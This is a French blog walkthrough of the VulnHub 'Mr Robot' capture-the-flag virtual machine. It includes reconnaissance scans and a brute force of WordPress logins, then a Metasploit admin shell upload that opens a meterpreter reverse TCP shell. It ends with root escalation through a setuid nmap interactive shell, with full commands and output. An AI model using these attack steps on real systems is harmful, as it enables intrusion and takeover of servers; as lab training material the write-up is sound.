VM – Mr Robot

La série Mr Robot est un peu comme la série que l’on attendais tous, celle ou on peut parler d’informatique sans forcement tomber dans les clichés. Le site vulnhub propose un challenge autour du thème de cette série.

Le fichier du challenge est téléchargeable ici.
Le fichier .ova se monte tout seul dans virtual box, j’ai volontairement modifié les paramètres réseaux, la VM n’ayant pas besoin d’accès internet.
L’objectif annoncé est de retouver les 3 parties du flag.

Reconnaissance

Commençons tout d’abord par trouver l’adresse ip de cette machine.
Pour cela un simple ping sweep sur nmap suffit :

~ ❯❯❯ nmap -sP 192.168.56.0/24

Starting Nmap 7.12 ( https://nmap.org ) at 2016-09-21 23:34 CEST
Nmap scan report for 192.168.56.1
Host is up (0.00073s latency).
Nmap scan report for 192.168.56.101
Host is up (0.00050s latency).
Nmap done: 256 IP addresses (2 hosts up) scanned in 3.03 seconds

192.168.56.101 est notre victime. Obtenons plus de détails avec un scan plus complet :


~ ❯❯❯ nmap -A 192.168.56.101

Starting Nmap 7.12 ( https://nmap.org ) at 2016-09-21 23:39 CEST
Nmap scan report for 192.168.56.101
Host is up (0.00055s latency).
Not shown: 997 filtered ports
PORT STATE SERVICE VERSION
22/tcp closed ssh
80/tcp open http Apache httpd
|_http-server-header: Apache
|_http-title: Site doesn't have a title (text/html).
443/tcp open ssl/http Apache httpd
|_http-server-header: Apache
|_http-title: Site doesn't have a title (text/html).
| ssl-cert: Subject: commonName=www.example.com
| Not valid before: 2015-09-16T10:45:03
|_Not valid after: 2025-09-13T10:45:03

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.21 seconds


Tiens un port 80/443, allons voir par là.
Après une séance de boot simulée nous nous retrouvons face au un prompt qui fonctionne tout seul, on est vraiment dans l’esprit de la série.

La reconnaissance de l’application Web peux se faire via Nikto :


~/H/W/n/program ❯❯❯ ./nikto.pl --Display on --host 192.168.56.101
- ***** SSL support not available (see docs for SSL install) *****
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 192.168.56.101
+ Target Hostname: 192.168.56.101
+ Target Port: 80
+ Start Time: 2016-09-21 23:52:54 (GMT2)
---------------------------------------------------------------------------
+ Server: Apache
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Retrieved x-powered-by header: PHP/5.5.29
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Server leaks inodes via ETags, header found with file /robots.txt, fields: 0x29 0x52467010ef8ad
+ Uncommon header 'tcn' found, with contents: list
+ Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file names. See http://www.wisec.it/sectou.php?id=4698ebdc59d15. The following alternatives for 'index' were found: index.html, index.php
+ OSVDB-3092: /admin/: This might be interesting...
+ OSVDB-3092: /readme: This might be interesting...
+ Uncommon header 'link' found, with contents: <http://192.168.56.101/?p=23>; rel=shortlink
+ /wp-links-opml.php: This WordPress script reveals the installed version.
+ OSVDB-3092: /license.txt: License file found may identify site software.
+ /admin/index.html: Admin login page/section found.
+ Cookie wordpress_test_cookie created without the httponly flag
+ /wp-login/: Admin login page/section found.
+ /wordpress/: A WordPress installation was found.
+ /wp-admin/wp-login.php: WordPress login found
+ /blog/wp-login.php: WordPress login found
+ /wp-login.php: WordPress login found
+ 7658 requests: 0 error(s) and 18 item(s) reported on remote host
+ End Time: 2016-09-21 23:58:06 (GMT2) (312 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

Le programme nous montre qu’un wordpress serait caché sur ce site.
Avant d’aller plus loin sur cette piste concentrons nous sur la présence d’un fichier robots.txt

<pre>User-agent: *
fsocity.dic
key-1-of-3.txt</pre>

Nous voici en présence de la première partie du flag ! Ainsi que d’un fichier .dic contenant plusieures centaines de milliers de lignes :


~/C/V/MrRobot01 ❯❯❯ wc -l fsocity.dic
858160 fsocity.dic

Ce fichier nous sera utile par la suite.
Nikto nous a remonté la présence d’un wordpress, afin d’obtenir des résultats plus probant nous pouvons utiliser wp-scan qui est un scanner spécialisé dans l’audit de site wordpress :

 ~/H/W/wpscan ❯❯❯ ./wpscan.rb --url 192.168.56.101 ⏎ _______________________________________________________________ __ _______ _____ \ \ / / __ \ / ____| \ \ /\ / /| |__) | (___ ___ __ _ _ __ \ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \ \ /\ / | | ____) | (__| (_| | | | | \/ \/ |_| |_____/ \___|\__,_|_| |_| WordPress Security Scanner by the WPScan Team Version 2.9.1 Sponsored by Sucuri - https://sucuri.net @_WPScan_, @ethicalhack3r, @erwan_lr, pvdl, @_FireFart_ _______________________________________________________________ [+] URL: http://192.168.56.101/ [+] Started: Thu Sep 22 00:04:25 2016 [+] robots.txt available under: 'http://192.168.56.101/robots.txt' [+] Interesting header: SERVER: Apache [+] Interesting header: X-FRAME-OPTIONS: SAMEORIGIN [+] Interesting header: X-MOD-PAGESPEED: 1.9.32.3-4523 [+] XML-RPC Interface available under: http://192.168.56.101/xmlrpc.php [+] WordPress version 4.3.1 (Released on 2015-09-15) identified from advanced fingerprinting, rss generator, rdf generator, atom generator, links opml [!] 14 vulnerabilities identified from the version number .... 

Les 14 vulnérabilités proposées par wpscan sont peut exploitables.
Par contre, wordpress 4.3.1 est sensible au bruteforce.

Le WordPress

Trouver l’utilisateur

Rendons nous sur la page /wp-login.php
Celle ci nous demande une authentification, sur cette version de wordpress il est possible d’énumérer la liste des utilisateurs existant. En effet si le login d’un utilisateur existant est testé, et ce meme avec un mot de passe faux, le message d’erreur sera différent de celui d’un utilisateur n’existant pas.

En partant de ce fait, j’ai écrit un script python qui bruteforce la liste des utilisateurs existant sur le wordpress, le script en question est disponible ici.


~/H/W/W/WordpressLoginBruteforcer ❯❯❯ python2 script.py --url "http://192.168.56.101/wp-login.php" --false "Invalid username" --wordlist "/home/shoxx/CTF/VulnHub/MrRobot01/fsocity.dic" ⏎
Found a valid login with : Elliot

Elliot, comme le personnage principal de la série.

Trouver le mot de passe

En utilisant le meme principe, il ne me restais plus qu’à coder un script pour bruteforcer le mot de passe.
Ce dernier est disponible ici.


python2 script.py --url "http://192.168.56.101/wp-login.php" --false "The password you entered for the username" --wordlist "/home/shoxx/CTF/VulnHub/MrRobot01/fsocity.dic" -v -l "Elliot"

Une fois terminé le script nous donne le mot de passe suivant :  ER28-0652

Road to shell

Une fois authentifié sur le wordpress on remarque que l’utilisateur que nous controlons (Elliot) est administrateur du blog. Ceci va nous permettre d’obtenir un shell sur la machine.
L’utilisateur admin ayant le droit d’uploader des plugins, on vas pouvoir uploader un shell.

Pour ceci on peut sortir metasploit :


msf > use exploit/unix/webapp/wp_admin_shell_upload

msf exploit(wp_admin_shell_upload) > show options

Module options (exploit/unix/webapp/wp_admin_shell_upload):

Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD ER28-0652 yes The WordPress password to authenticate with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOST 192.168.56.101 yes The target address
RPORT 80 yes The target port
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The base path to the wordpress application
USERNAME Elliot yes The WordPress username to authenticate with
VHOST no HTTP server virtual host
Payload options (php/meterpreter/reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.56.101 yes The listen address
LPORT 4444 yes The listen port
Exploit target:

Id Name
-- ----
0 WordPress

msf exploit(wp_admin_shell_upload) > exploit

[*] Started reverse TCP handler on 192.168.56.1:4444
[*] Authenticating with WordPress using Elliot:ER28-0652...
[+] Authenticated with WordPress
[*] Preparing payload...
[*] Uploading payload...
[*] Executing the payload at /wp-content/plugins/gSmqOhbMXe/xzchmLrTQw.php...
[*] Sending stage (33721 bytes) to 192.168.56.101
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.101:45840) at 2016-09-22 00:29:23 +0200
[!] This exploit may require manual cleanup of 'xzchmLrTQw.php' on the target
[!] This exploit may require manual cleanup of 'gSmqOhbMXe.php' on the target

meterpreter >

And voila un shell !

Got Root ?

Nous voici avec un shell sur la machine, première étape, lister les utilisateurs présent.


meterpreter > shell
Process 2154 created.
Channel 1 created.
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
libuuid:x:100:101::/var/lib/libuuid:
syslog:x:101:104::/home/syslog:/bin/false
sshd:x:102:65534::/var/run/sshd:/usr/sbin/nologin
ftp:x:103:106:ftp daemon,,,:/srv/ftp:/bin/false
bitnamiftp:x:1000:1000::/opt/bitnami/apps:/bin/bitnami_ftp_false
mysql:x:1001:1001::/home/mysql:
varnish:x:999:999::/home/varnish:
robot:x:1002:1002::/home/robot:
id
uid=1(daemon) gid=1(daemon) groups=1(daemon)

Un utilisateur robot existe, allons voir les fichiers de ce dernier :


ls -la /home/robot
total 16
drwxr-xr-x 2 root root 4096 Nov 13 2015 .
drwxr-xr-x 3 root root 4096 Nov 13 2015 ..
-r-------- 1 robot robot 33 Nov 13 2015 key-2-of-3.txt
-rw-r--r-- 1 robot robot 39 Nov 13 2015 password.raw-md5

La seconde clef est ici, mais seul robot peut lire ce fichier. Par contre password.raw-md5 est accessible à tous.


cat /home/robot/password.raw-md5
robot:c3fcd3d76192e4007dfb496cca67e13b

Une fois « Googlelé » cette chaine md5 est en réalité : « abcdefghijklmnopqrstuvwxyz ».
Tentons de nous logger :

su robot
su: must be run from a terminal

Avant de pouvoir aller plus loin, il nous faut un shell dans un tty pour que su puisse fonctionner.
Après quelques secondes de recherche sur Pentest Monkey la chaîne suivante nous permet, en python, d’obtenir un shell dans un pseudo tty.


python -c "import pty; pty.spawn('/bin/bash')"
<ps/wordpress/htdocs/wp-content/plugins/gSmqOhbMXe$

On peux maintenant se logger avec l’utilisateur robot et lire la seconde partie du flag.

Got Root !

Le fichier contenant la 3eme partie du flag appartient à root. L’objectif est donc clair, obtenir un shell root pour terminer l’épreuve.
Pour cela on commence par chercher les binaires setuid root :


<tent/plugins/gSmqOhbMXe$ find / -user root -perm -4000 -print
/bin/ping
/bin/umount
/bin/mount
/bin/ping6
/bin/su
find: `/etc/ssl/private': Permission denied
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/sudo
/usr/local/bin/nmap
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper
/usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper
/usr/lib/pt_chown

Tiens, le binaire nmap est setuid root !
Heureusement pour nous, nmap dispose d’une fonction lui permettant d’offrir un shell, ce qui siginifie pour nous, obtenir un shell root.


<ps/wordpress/htdocs/wp-content/plugins/gSmqOhbMXe$ nmap --interactive
nmap --interactive

Starting nmap V. 3.81 ( http://www.insecure.org/nmap/ )
Welcome to Interactive Mode -- press h <enter> for help
nmap> !sh
!sh
# id
id
uid=1002(robot) gid=1002(robot) euid=0(root) groups=0(root),1002(robot)
# ls -la /root
ls -la /root
total 32
drwx------ 3 root root 4096 Nov 13 2015 .
drwxr-xr-x 22 root root 4096 Sep 16 2015 ..
-rw------- 1 root root 4058 Nov 14 2015 .bash_history
-rw-r--r-- 1 root root 3274 Sep 16 2015 .bashrc
drwx------ 2 root root 4096 Nov 13 2015 .cache
-rw-r--r-- 1 root root 0 Nov 13 2015 firstboot_done
-r-------- 1 root root 33 Nov 13 2015 key-3-of-3.txt
-rw-r--r-- 1 root root 140 Feb 20 2014 .profile
-rw------- 1 root root 1024 Sep 16 2015 .rnd

And voila ! Nous sommes root sur la machine !

Conclusion

Avec du recul, il n’était pas nécessaire de coder des scripts qui bruteforcent le wordpress, il existe des modules metasploit qui font ceci, un outil comme Burp peut aussi faire l’affaire.
Ce petit challenge est très simple et assez accessible, l’environnement est fidèle à l’esprit de la série, même si on peux regretter le manque de reverse/exploitation

Partager cet article

Laisser un commentaire